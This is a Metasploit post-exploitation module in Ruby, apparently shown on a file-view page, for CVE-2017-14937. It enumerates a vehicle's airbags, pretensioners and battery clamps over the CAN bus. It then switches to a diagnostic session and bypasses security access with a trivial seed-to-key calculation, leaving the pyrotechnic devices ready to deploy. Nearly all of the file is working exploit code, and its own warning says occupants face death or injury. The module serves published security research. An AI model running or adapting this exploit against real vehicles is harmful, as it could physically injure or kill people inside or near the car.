CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'rex'
7

8
class MetasploitModule < Msf::Post
9

10
  include Msf::Post::Hardware::Automotive::UDS
11
  include Msf::Post::Hardware::Automotive::DTC
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
18
        'Description' => %q{
19
          Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
20
          will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
21
          to discover how many pyrotechnic devices are present, then attempt to validate
22
          the security access token using the default simplified algorithm.  On success,
23
          the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
24
          (e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
25
        },
26
        'License' => MSF_LICENSE,
27
        'Author' => [
28
          'Johannes Braun',    # original research
29
          'Juergen Duerrwang', # original research
30
          'Craig Smith'        # research and module author
31
        ],
32
        'References' => [
33
          [ 'CVE', '2017-14937' ],
34
          [ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
35
        ],
36
        'Platform' => ['hardware'],
37
        'SessionTypes' => ['hwbridge']
38
      )
39
    )
40
    register_options([
41
      OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
42
      OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
43
      OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
44
      OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
45
    ])
46
  end
47

48
  LOOP_TABLE = {
49
    0x00 => 'ISOSAEReserved',
50
    0x01 => 'airbag driver side frontal 1st stage',
51
    0x02 => 'airbag left side frontal 1st stage',
52
    0x03 => 'airbag right side frontal 1st stage',
53
    0x04 => 'airbag driver side frontal 2nd stage',
54
    0x05 => 'airbag left side frontal 2nd stage',
55
    0x06 => 'airbag right side frontal 2nd stage',
56
    0x07 => 'airbag driver side frontal 3rd stage',
57
    0x08 => 'airbag left side frontal 3rd stage',
58
    0x09 => 'airbag right side frontal 3rd stage',
59
    0x0A => 'airbag passenger side frontal 1st stage',
60
    0x0B => 'airbag passenger side frontal 2nd stage',
61
    0x0C => 'airbag passenger side frontal 3rd stage',
62
    0x0D => 'airbag left side frontal 3rd stage',
63
    0x0E => 'airbag right side frontal 3rd stage',
64
    0x0F => 'airbag passenger frontal 1st stage - center',
65
    0x10 => 'airbag passenger frontal 2nd stage - center',
66
    0x11 => 'airbag passenger frontal 3rd stage - center',
67
    0x12 => '1st pretensioner driver side',
68
    0x13 => '1st pretensioner left side',
69
    0x14 => '1st pretensioner right side',
70
    0x15 => '2nd pretensioner driver side',
71
    0x16 => '2nd pretensioner left side',
72
    0x17 => '2nd pretensioner right side',
73
    0x18 => '1st pretensioner passenger side',
74
    0x19 => '2nd pretensioner passenger side',
75
    0x1A => '1st pretensioner passenger - center',
76
    0x1B => '2nd pretensioner passenger - center',
77
    0x1C => '1st pretensioner (2nd row) left',
78
    0x1D => '2nd pretensioner (2nd row) left',
79
    0x1E => '1st pretensioner (2nd row) right',
80
    0x1F => '2nd pretensioner (2nd row) right',
81
    0x20 => '1st pretensioner (2nd row) center',
82
    0x21 => '2nd pretensioner (2nd row) center',
83
    0x22 => '1st pretensioner (3rd row) left',
84
    0x23 => '2nd pretensioner (3rd row) left',
85
    0x24 => '1st pretensioner (3rd row) right',
86
    0x25 => '2nd pretensioner (3rd row) right',
87
    0x26 => '1st pretensioner (3rd row) center',
88
    0x27 => '2nd pretensioner (3rd row) center',
89
    0x28 => 'belt force limiter driver side',
90
    0x29 => 'belt force limiter left side',
91
    0x2A => 'belt force limiter right side',
92
    0x2B => 'belt force limiter passenger side',
93
    0x2C => 'belt force limiter passenger side - center',
94
    0x2D => 'belt force limiter 2nd row - left',
95
    0x2E => 'belt force limiter 2nd row - right',
96
    0x2F => 'belt force limiter 2nd row - center',
97
    0x30 => 'belt force limiter 3rd row - left',
98
    0x31 => 'belt force limiter 3rd row - right',
99
    0x32 => 'belt force limiter 3rd row - center',
100
    0x33 => 'headbag - driver side (roof mounted)',
101
    0x34 => 'headbag - passenger side (roof mounted)',
102
    0x35 => 'headbag - right side (roof mounted)',
103
    0x36 => 'headbag - left side (roof mounted)',
104
    0x37 => 'headbag - 2nd row - left (roof mounted)',
105
    0x38 => 'headbag - 2nd row - right (roof mounted)',
106
    0x39 => 'headbag - 3rd row - left (roof mounted)',
107
    0x3A => 'headbag - 3rd row - right (roof mounted)',
108
    0x3B => 'sidebag (curtain) - driver side',
109
    0x3C => 'sidebag (curtain) - passenger side',
110
    0x3D => 'sidebag (curtain) - left side',
111
    0x3E => 'sidebag (curtain) - right side',
112
    0x3F => 'sidebag (curtain) - 2nd row - left',
113
    0x40 => 'sidebag (curtain) - 2nd row - right',
114
    0x41 => 'sidebag (curtain) - 3rd row - left',
115
    0x42 => 'sidebag (curtain) - 3rd row - right',
116
    0x43 => 'sidebag - driver side (door mounted)',
117
    0x44 => 'sidebag - passenger side (door mounted)',
118
    0x45 => 'sidebag - left side (door mounted)',
119
    0x46 => 'sidebag - right side (door mounted)',
120
    0x47 => 'sidebag - 2nd row - left (door mounted)',
121
    0x48 => 'sidebag - 2nd row - right (door mounted)',
122
    0x49 => 'sidebag - 3rd row - left (door mounted)',
123
    0x4A => 'sidebag - 3rd row - right (door mounted)',
124
    0x4B => 'seatbag (cushion) - driver side (seat mounted)',
125
    0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
126
    0x4D => 'seatbag (cushion) - left side (seat mounted)',
127
    0x4E => 'seatbag (cushion) - right side (seat mounted)',
128
    0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
129
    0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
130
    0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
131
    0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
132
    0x53 => 'kneebag - driver side',
133
    0x54 => 'kneebag - passenger side',
134
    0x55 => 'kneebag - left side',
135
    0x56 => 'kneebag - right side',
136
    0x57 => 'kneebag - passenger side - center',
137
    0x58 => 'footbag - driver side',
138
    0x59 => 'footbag - passenger side',
139
    0x5A => 'footbag - left side',
140
    0x5B => 'footbag - right side',
141
    0x5C => 'footbag - passenger side - center',
142
    0x5E => 'active headrest - driver side',
143
    0x5F => 'active headrest - passenger side',
144
    0x60 => 'active headrest - left side',
145
    0x61 => 'active headrest - right side',
146
    0x62 => 'active headrest - passenger side - center',
147
    0x63 => 'active headrest - 2nd row - left',
148
    0x64 => 'active headrest - 2nd row - right',
149
    0x65 => 'active headrest - 2nd row - center',
150
    0x66 => 'active headrest - 3rd row - left',
151
    0x67 => 'active headrest - 3rd row - right',
152
    0x68 => 'active headrest - 3rd row - center',
153
    0x69 => 'battery clamp main battery',
154
    0x6A => 'battery clamp 2nd battery',
155
    0x6B => 'battery clamp 3rd battery',
156
    0x6C => 'battery clamp 4th battery',
157
    0x6D => 'roof-airbag front',
158
    0x6E => 'roof-airbag front',
159
    0x6F => 'bag in belt driver side',
160
    0x70 => 'bag in belt passenger side',
161
    0x71 => 'bag in belt left side',
162
    0x72 => 'bag in belt right side',
163
    0x73 => 'bag in belt passenger side - center',
164
    0x74 => 'bag in belt 2nd row - left',
165
    0x75 => 'bag in belt 2nd row - right',
166
    0x76 => 'bag in belt 2nd row - center',
167
    0x77 => 'bag in belt 3rd row - left',
168
    0x78 => 'bag in belt 3rd row - right',
169
    0x79 => 'bag in belt 3rd row - center',
170
    0x7A => 'rollover bar #1',
171
    0x7B => 'rollover bar #2',
172
    0x7C => 'rollover bar #3',
173
    0x7D => 'rollover bar #4',
174
    0x7E => 'active anti-submarining driver seat',
175
    0x7F => 'active anti-submarining passenger seat',
176
    0x80 => 'active anti-submarining left seat',
177
    0x81 => 'active anti-submarining right seat',
178
    0x82 => 'active anti-submarining passenger seat - center',
179
    0x83 => 'active anti-submarining seat 2nd row - left',
180
    0x84 => 'active anti-submarining seat 2nd row - right',
181
    0x85 => 'active anti-submarining seat 2nd row - center',
182
    0x86 => 'active anti-submarining seat 3rd row - left',
183
    0x87 => 'active anti-submarining seat 3rd row - right',
184
    0x88 => 'active anti-submarining seat 3rd row - center',
185
    0x89 => 'pedestrian protection front left hood lifter',
186
    0x8A => 'pedestrian protection front right hood lifter',
187
    0x8B => 'pedestrian protection rear left hood lifter',
188
    0x8C => 'pedestrian protection rear right hood lifter',
189
    0x8D => 'pedestrian protection a-pillar left',
190
    0x8E => 'pedestrian protection a-pillar right',
191
    0x8F => 'pedestrian protection wind screen',
192
    0x90 => 'pedestrian protection bumper left',
193
    0x91 => 'pedestrian protection bumper center',
194
    0x92 => 'pedestrian protection bumper right',
195
    0x93 => 'active steering column',
196
    0x94 => 'front screen - emergency release',
197
    0x95 => 'read window - emergency release'
198
  }
199

200
  ACL_TYPES = {
201
    0x01 => 'CAN only',
202
    0x02 => 'ACL Comm Mode 12V',
203
    0x03 => 'ACL PWM FixedLevel 8V',
204
    0x04 => 'ACL Comm Mode 24V',
205
    0x05 => 'ACL PWM UbattLevel 12V',
206
    0x06 => 'ACL PWM UbattLevel 24V'
207
  }
208

209
  PCU_ADDRESS_FORMAT = {
210
    0x01 => '11 bit normal addressing',
211
    0x02 => '11 bit extended addressing',
212
    0x03 => '11 bit mixed addressing',
213
    0x04 => '29 bit normal fixed addressing',
214
    0x05 => '29 bit mixed addressing',
215
    0x06 => '29 bit unique addressing'
216
  }
217

218
  def print_vin(vin)
219
    return '' if vin.nil?
220

221
    vin.map! { |d| d.hex.chr }
222
    print_status(" VIN: #{vin.join}")
223
  end
224

225
  def print_loop_table(loopid)
226
    print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
227
    (3..loopid.size).each do |i|
228
      if i % 2 == 1
229
        if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
230
          print_status("  #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
231
        else
232
          print_status("  #{loopid[i]} | <<UNKNOWN>>")
233
        end
234
      elsif loopid[i] && loopid[i].hex == 0
235
        print_status('     |  Deployment Status: Good')
236
      else
237
        print_status("     |  Deployment Status: Fail (#{loopid[i]})")
238
      end
239
    end
240
  end
241

242
  def run
243
    opt = {}
244
    opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
245
    print_status('Gathering Data...')
246
    vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
247
    no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
248
    no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
249
    address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
250
    loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
251
    acl_type_definition = loopid[0]
252
    acl_type_version = loopid[1]
253
    no_of_charges = loopid[2]
254

255
    print_vin(vin)
256
    print_loop_table(loopid)
257
    print_status(" Number of PCUs in vehicle     | #{no_of_pcus[0].hex}")
258
    print_status(' Info About First PCU')
259
    print_status(" Address format this PCU(s)    | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
260
    print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
261
    print_status(" Version of ISO26021 standard  | #{no_of_iso_version[0].hex}")
262
    print_status(" ACL type                      | #{ACL_TYPES[acl_type_definition.hex]}")
263
    print_status(" ACL Type version              | #{acl_type_version.hex}")
264
    print_status
265
    print_status('Switching to Diagnostic Session 0x04...')
266
    resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
267
    if resp.key? 'error'
268
      print_error("Could not switch to DSC 0x04: #{resp['error']}")
269
      return
270
    end
271
    # We may not need tester present at all because we will perform the action quickly
272
    send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
273
    print_status('Getting Security Access Seed...')
274
    seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
275
    if seed.key? 'error'
276
      print_error("Couldn't get seed: #{seed['error']}")
277
      return
278
    end
279
    print_status("Success.  Seed: #{seed['SEED']}")
280
    print_status('Attempting to unlock device...')
281
    display_warning = false
282
    if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
283
      print_status('Security Access Already Unlocked!!')
284
      display_warning = true
285
    else
286
      key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
287
      resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
288
      if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
289
        print_error("Invalid SA Response.  System not vulnerable. Error: #{resp['error']}")
290
        return
291
      end
292
      found_valid = false
293
      if (resp.key? 'Packets') && !resp['Packets'].empty?
294
        resp['Packets'].each do |i|
295
          found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
296
        end
297
      end
298
      if found_valid
299
        print_status('Success!')
300
        display_warning = true
301
      else
302
        print_error("Unknown response: #{resp.inspect}")
303
      end
304
    end
305
    if display_warning
306
      print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
307
      print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
308
    end
309
  end
310

311
end
312

313